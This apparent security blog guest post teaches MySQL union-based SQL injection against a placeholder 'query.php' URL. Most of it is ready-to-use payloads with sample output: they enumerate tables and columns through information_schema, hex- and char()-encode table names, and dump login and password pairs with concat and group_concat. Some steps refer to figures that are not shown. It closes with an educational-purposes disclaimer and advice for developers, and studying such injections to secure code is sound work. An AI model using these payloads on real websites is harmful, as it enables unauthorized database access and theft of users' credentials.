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Understanding This Technique Called MySQL Injection

ABSTRACT

It is known that computers and software are developed and designed by humans, human error is a reflection of a mental response to a particular activity.
Did you know that numerous inventions and discoveries are due to misconceptions?
There are levels of human performance based on the behavior of mental response , explaining in a more comprehensive, we humans tend to err , and due to this reason we are the largest tool to find these errors , even pros software's for analysis and farredura vulnerabilities were unimproved by us.

Understand the technique MySQL Injection

One of the best known techniques of fraud by web developers is the SQL Injection. It is the manipulation of a SQL statement using the variables who make up the parameters received by a server-side script, is a type of security threat that takes advantage of flaws in systems that interact with databases via SQL. SQL injection occurs when the attacker can insert a series of SQL statements within a query (query) by manipulating the input data for an application.

STEP BY STEP


Figure 1) Detecting.


Searching Column number (s): We will test earlier in error, then no error may be said to find.


Figure 2) SQL error.

Host Information,
Version of MySQL system used on the server.


Figure 3) Host Information.



Figure 4) Location of the files

Current database connection used between the "input" to the MySQL system.


Figure 5) Users of MySQL.


Figure 6) Current Time.

Brute Force or Shooting

This happens in versions below 5.x.y


Figure 7) Testing.

Dump
This happens in versions up 5.x.y [ 1º Method ] 

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()--

usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you
or
Unknown column 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ] 

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 0,1--
CHARACTER_SETS
or
Unknown column 'CHARACTER_SETS' in 'where clause'
ou
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'CHARACTER_SETS' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 1,2--
COLLATIONS
or
Unknown column 'COLLATIONS' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'COLLATIONS' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 16,17--
usuarios
or
Unknown column 'usuarios' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 17,18--
rafael
or
Unknown column 'rafael' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael' at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Searching Column (s) of a given table
* Brute Force / Shooting
This happens in versions below 5.x.y
http://[site]/query.php?string= 1 union all select 1,2,3,4,nome from usuarios--
Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,churros from usuarios--
Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,login from usuarios--
_Rafa_
or
Unknown column '_Rafa_' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,passwd from usuarios--
rafael1337
or
Unknown column 'rafael1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1337' at line 1

=--------------------------=--------------------------=--------------------------=--------------------------=
Dump
This happens in versions up 5.x.y [ 1º Method ] 
"usuarios" hexadecimal -> "7573756172696f73"

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x7573756172696f73--
login,passwd,id,texto
or
Unknown column 'login,passwd,id,texto' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login,passwd,id,texto' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ] 

"usuarios" decimal -> "117,115,117,97,114,105,111,115"

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where
table_name=char(117,115,117,97,114,105,111,115) limit 0,1--
login
or
Unknown column 'login' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where
table_name=char(117,115,117,97,114,105,111,115) limit 1,2--
passwd
or
Unknown column 'passwd' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where
table_name=char(117,115,117,97,114,105,111,115) limit 2,3--
id
or
Unknown column 'id' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'id' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where
table_name=char(117,115,117,97,114,105,111,115) limit 3,4--
text
or
Unknown column 'text' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text' at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Extracting data from the columns of a given table
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(login,0x20,0x3a,0x20,senha) from usuarios--
_Rafa_ : fontes1337
or
Unknown column '_Rafa_ : fontes1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(login,0x20,0x3a,0x20,senha) from usuarios--
_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec
or
Unknown column '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec ‘in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select
1,2,3,4,concat_ws(0x20,0x3a,0x20,login,senha) from usuarios--
_RHA_ : infosec1337
or
Unknown column '_RHA_ : infosec1337‘ in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_RHA_ : infosec1337’ at line 1

=--------------------------=
Concat 
group_concat() => Search all you want with ascii caracters
concat() => search what you want with ascii caracters
concat_ws() => unite
Hexadecimal 
0x3a => :
0x20 => space
0x2d => -
0x2b => +

Readers, this article is for educational purposes only, could continue explaining how to exploit web sites, but that is not my intention.
It is known that the impact of the change may provide unauthorized access to a restricted area, being imperceptible to the eye of an inexperienced developer, it may also allow the deletion of a table, compromising the entire application, among other features. So I want to emphasize that this paper is for security researchs and developers to beware and test your code.

CONCLUSION

Many companies are providing important information on its website and database, information is the most valuable asset is intangible, the question is how developers are dealing with this huge responsibility?
The challenge is to develop increasingly innovative sites, coupled with mechanisms that will provide security to users.
The purpose of this paper is to present what is SQL Injection, how applications are explored and techniques for testing by allowing the developer to customize a system more robust and understand the vulnerability.

ABOUT THE AUTHOR:

This is a guest post written by , RAFAEL FONTES SOUZA. He is the maintainer of the “Project Backtrack Team Brazilian”, He works at RHAinfosec as a senior penetration tester. He is also the Founder of the "Wikileaks and Intelligence, Cypherpunks". Good communication in groups and the general public, attended college projects with a focus on business organization, he currently seeks work experience outside of brazil”. He frequently contributes at RHA and talks about various topics related to internet security. 

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